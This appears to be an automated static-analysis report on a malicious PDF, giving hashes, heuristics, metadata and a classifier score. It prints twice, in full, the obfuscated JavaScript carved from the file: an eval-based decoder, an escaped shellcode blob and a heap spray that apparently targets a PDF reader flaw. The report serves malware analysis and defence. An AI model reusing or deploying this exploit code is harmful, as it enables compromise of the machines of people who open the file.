Malicious PDF — malware analysis report

Static analysis result for SHA-256 4fd8000ee43cffbb…

MALICIOUS

PDF

3.8 KB Created: 2008-09-07 22:47:39 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12; modified using iText 2.1.7 by 1T3XT) First seen: 2026-05-09
MD5: f72340bf4ab76f854a5fb767d7ebf506 SHA-1: 38ce1359447ba419860335366b6bb23b88e44ac2 SHA-256: 4fd8000ee43cffbb778daf628e7ebeebb0041f5cc9d93b018169cf06f635dc8e
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF contains embedded JavaScript streams, indicated by multiple heuristic firings including 'PDF_JAVASCRIPT' and 'PDF_JS'. The ML classifier strongly flags this PDF as malicious. The presence of obfuscated JavaScript, as suggested by 'ML_NYX_PDF_MALICIOUS' and 'EXTRACTED_FILE_STATIC_TRIAGE', points towards an attempt to hide malicious code execution. The script's purpose is likely to download and execute a second-stage payload, although the exact mechanism is obscured by obfuscation. The file's metadata indicates it was created using Scribus and modified with iText, which are common tools used in PDF manipulation.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    <</Length 2284>>stream
JHc6=unescape;ZqK8=eval;var BEs3=''; ZqK8(JnI0('ezi#YVh6#=#QSx3("*f43v1*f9999*f4699*f4344*f1y42*f753x*f1y81*f6x54*f451y*f2194*fvz98*f5z1y*f1y81*f794z*fvy98*f67v6*f1y50*f1y65*fvv98*fuu68*f68ux*fzxx9*fv961*f9225*fxux8*f989w*fvyx2*f6yu7*f752x*f2485*f1yv8*f754z*fvy98*f1y33*f5y9x*f4z1y*f988x*f1yvy*f1y95*fv198*f97vy*fx968*f4v4u*f4y4w*f91x7*f4v99*f693z*f3540*f801y*f4y1y*f1y9x*f8x4y*f8y1y*f4y1y*f4691*f1v31*f9v5v*fuuvx*f10w3*f46x2*f1v31*f9v5v*fuuvx*fvyw3*f4z49*fuu47*f10w9*f47x7*f4647*fzz31*f9wux*fuu2x*f4 …
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x352 2284 bytes
SHA-256: e024366d037f8a9aec7f01f874e32acb0ee16aa9c013f61749924414a6cbfbf1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
JHc6=unescape;ZqK8=eval;var BEs3=''; ZqK8(JnI0('ezi#YVh6#=#QSx3("*f43v1*f9999*f4699*f4344*f1y42*f753x*f1y81*f6x54*f451y*f2194*fvz98*f5z1y*f1y81*f794z*fvy98*f67v6*f1y50*f1y65*fvv98*fuu68*f68ux*fzxx9*fv961*f9225*fxux8*f989w*fvyx2*f6yu7*f752x*f2485*f1yv8*f754z*fvy98*f1y33*f5y9x*f4z1y*f988x*f1yvy*f1y95*fv198*f97vy*fx968*f4v4u*f4y4w*f91x7*f4v99*f693z*f3540*f801y*f4y1y*f1y9x*f8x4y*f8y1y*f4y1y*f4691*f1v31*f9v5v*fuuvx*f10w3*f46x2*f1v31*f9v5v*fuuvx*fvyw3*f4z49*fuu47*f10w9*f47x7*f4647*fzz31*f9wux*fuu2x*f4zw3*f5wvy*f4840*fuu47*fvyw9*f4z27*f4yvy*f3z40*f3z99*f4899*f3z47*fuu99*f46w9*fz931*fx0w4*fuu5w*f4zw3*fuu47*f46w9*f0131*f1zuv*fuu9v*fvyw3*f4055*f993z*fuu48*f46w9*f2v31*fv7w1*fuu26*f3zw3*fuu99*fv1w9*fuuzy*fuuuu*f2724*f3w3x*f3v3u*f357v*f3x3x*fv199*fuuzv*fuuuu*f4744*f555x*f223u*f3x3v*f383u*f4535*f533u*f3x30*f5834*fv199*fuuz9*fuuuu*f7v7v*f384x*fv199*fuuy2*fuuuu*f7v7v*f384x*fv199*fuu10*fuuuu*f2531*f2925*f7u6z*f327u*f2038*f3426*f6621*f6463*f367v*f3w3u*f267u*f7u25*f2636*f7u26*f7u2z*f2134*f297v*f2931*f316u*f346w*f6521*f9999")@'));  var Dgcm=''; ZqK8(JnI0('Wtxn#=#QSx3("*f9Z9Z*f9Z9Z")@')); var BKw8 = 20; var Wxg1 = BKw8 + BEs3.length; while (Dgcm.length < Wxg1) Dgcm += Dgcm; var Mya2 = Dgcm.substring(0,Wxg1); var Ljo5 = Dgcm.substring(0,Dgcm.length - Wxg1); while (Ljo5.length + Wxg1 < 0x60000) Ljo5 = Ljo5 + Ljo5 + Mya2;  var uzpy = new Array(); for (i = 0; i < 1200; i++){ uzpy[i] = Ljo5 + BEs3 }  var pEq0 = 12; for(i = 0; i < 18; i++){ pEq0 = pEq0 + "9"; } for(i = 0; i < 276; i++){ pEq0 = pEq0 + "8"; } ZqK8(JnI0('fgro.kirmgu(QSx3(""+"*"+"74*65*64*69*69*69*33"),#kVj9)@'));     function CAu2(Apy7, Ltdw, GUwJ) { var vmq5; vmq5=Apy7.split(Ltdw); var Arzj=vmq5.join(GUwJ); return Arzj;/**/ } function JnI0(Ehj0) { Ehj0 = CAu2(Ehj0,"##+##","'"); Ehj0 = CAu2(Ehj0,"##|##","\\"); Arzj=""; IxBB =""; for(k=0;k<Ehj0.length;k++) { Arzj = Ehj0.charCodeAt(k); if (Arzj==32){Arzj=35} else if (Arzj==35){Arzj=32} else if (Arzj==59){Arzj=64} else if (Arzj==64){Arzj=59} else if (Arzj==37){Arzj=42} else if (Arzj==42){Arzj=37} else if (Arzj>=97 && Arzj<=122) { Arzj=Arzj-97;Arzj=25-Arzj;Arzj+=97; }else if (Arzj>=65 && Arzj<=90) { Arzj=Arzj-65;Arzj=25-Arzj;Arzj+=65; }else if (Arzj>=48 && Arzj<=57) { Arzj=Arzj-48;Arzj=9-Arzj;Arzj+=48; } IxBB += String.fromCharCode(Arzj); } return IxBB;/**/ }
javascript_obj0013_002.js pdf-javascript-stream PDF /JS object 13 at offset 0x372 2980 bytes
SHA-256: 3f35db2c4f43026b2b6f4c3511d0ab9700a39febeec02529640a3fb58016cbcc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
JHc6=unescape;ZqK8=eval;var BEs3=''; ZqK8(JnI0('ezi#YVh6#=#QSx3("*f43v1*f9999*f4699*f4344*f1y42*f753x*f1y81*f6x54*f451y*f2194*fvz98*f5z1y*f1y81*f794z*fvy98*f67v6*f1y50*f1y65*fvv98*fuu68*f68ux*fzxx9*fv961*f9225*fxux8*f989w*fvyx2*f6yu7*f752x*f2485*f1yv8*f754z*fvy98*f1y33*f5y9x*f4z1y*f988x*f1yvy*f1y95*fv198*f97vy*fx968*f4v4u*f4y4w*f91x7*f4v99*f693z*f3540*f801y*f4y1y*f1y9x*f8x4y*f8y1y*f4y1y*f4691*f1v31*f9v5v*fuuvx*f10w3*f46x2*f1v31*f9v5v*fuuvx*fvyw3*f4z49*fuu47*f10w9*f47x7*f4647*fzz31*f9wux*fuu2x*f4zw3*f5wvy*f4840*fuu47*fvyw9*f4z27*f4yvy*f3z40*f3z99*f4899*f3z47*fuu99*f46w9*fz931*fx0w4*fuu5w*f4zw3*fuu47*f46w9*f0131*f1zuv*fuu9v*fvyw3*f4055*f993z*fuu48*f46w9*f2v31*fv7w1*fuu26*f3zw3*fuu99*fv1w9*fuuzy*fuuuu*f2724*f3w3x*f3v3u*f357v*f3x3x*fv199*fuuzv*fuuuu*f4744*f555x*f223u*f3x3v*f383u*f4535*f533u*f3x30*f5834*fv199*fuuz9*fuuuu*f7v7v*f384x*fv199*fuuy2*fuuuu*f7v7v*f384x*fv199*fuu10*fuuuu*f2531*f2925*f7u6z*f327u*f2038*f3426*f6621*f6463*f367v*f3w3u*f267u*f7u25*f2636*f7u26*f7u2z*f2134*f297v*f2931*f316u*f346w*f6521*f9999")@'));  var Dgcm=''; ZqK8(JnI0('Wtxn#=#QSx3("*f9Z9Z*f9Z9Z")@')); var BKw8 = 20; var Wxg1 = BKw8 + BEs3.length; while (Dgcm.length < Wxg1) Dgcm += Dgcm; var Mya2 = Dgcm.substring(0,Wxg1); var Ljo5 = Dgcm.substring(0,Dgcm.length - Wxg1); while (Ljo5.length + Wxg1 < 0x60000) Ljo5 = Ljo5 + Ljo5 + Mya2;  var uzpy = new Array(); for (i = 0; i < 1200; i++){ uzpy[i] = Ljo5 + BEs3 }  var pEq0 = 12; for(i = 0; i < 18; i++){ pEq0 = pEq0 + "9"; } for(i = 0; i < 276; i++){ pEq0 = pEq0 + "8"; } ZqK8(JnI0('fgro.kirmgu(QSx3(""+"*"+"74*65*64*69*69*69*33"),#kVj9)@'));     function CAu2(Apy7, Ltdw, GUwJ) { var vmq5; vmq5=Apy7.split(Ltdw); var Arzj=vmq5.join(GUwJ); return Arzj;/**/ } function JnI0(Ehj0) { Ehj0 = CAu2(Ehj0,"##+##","'"); Ehj0 = CAu2(Ehj0,"##|##","\\"); Arzj=""; IxBB =""; for(k=0;k<Ehj0.length;k++) { Arzj = Ehj0.charCodeAt(k); if (Arzj==32){Arzj=35} else if (Arzj==35){Arzj=32} else if (Arzj==59){Arzj=64} else if (Arzj==64){Arzj=59} else if (Arzj==37){Arzj=42} else if (Arzj==42){Arzj=37} else if (Arzj>=97 && Arzj<=122) { Arzj=Arzj-97;Arzj=25-Arzj;Arzj+=97; }else if (Arzj>=65 && Arzj<=90) { Arzj=Arzj-65;Arzj=25-Arzj;Arzj+=65; }else if (Arzj>=48 && Arzj<=57) { Arzj=Arzj-48;Arzj=9-Arzj;Arzj+=48; } IxBB += String.fromCharCode(Arzj); } return IxBB;/**/ } 

endstream
endobj
14 0 obj
<</Creator(Scribus 1.3.3.12)/Title<>/Producer(Scribus PDF Library 1.3.3.12; modified using iText 2.1.7 by 1T3XT)/Author<>/Keywords<>/Trapped/False/ModDate(D:20090917203449+08'00')/CreationDate(D:20080907224739)>>
endobj
xref
0 15
0000000000 65535 f 
0000000015 00000 n 
0000000242 00000 n 
0000000260 00000 n 
0000000302 00000 n 
0000000381 00000 n 
0000000410 00000 n 
0000000430 00000 n 
0000000468 00000 n 
0000000528 00000 n 
0000000679 00000 n 
0000000727 00000 n 
0000000806 00000 n 
0000000850 00000 n 
0000003184 00000 n 
trailer
<</Info 14 0 R/Root 1 0 R/Size 15/ID [<e32239c8e89a0e5c320d3b008677e6bc><ec96e398e49eb2bec74ec23819d08bf9>]>>
startxref
3413
%%EOF

Open this report in the interactive analyzer, or submit your own file for analysis.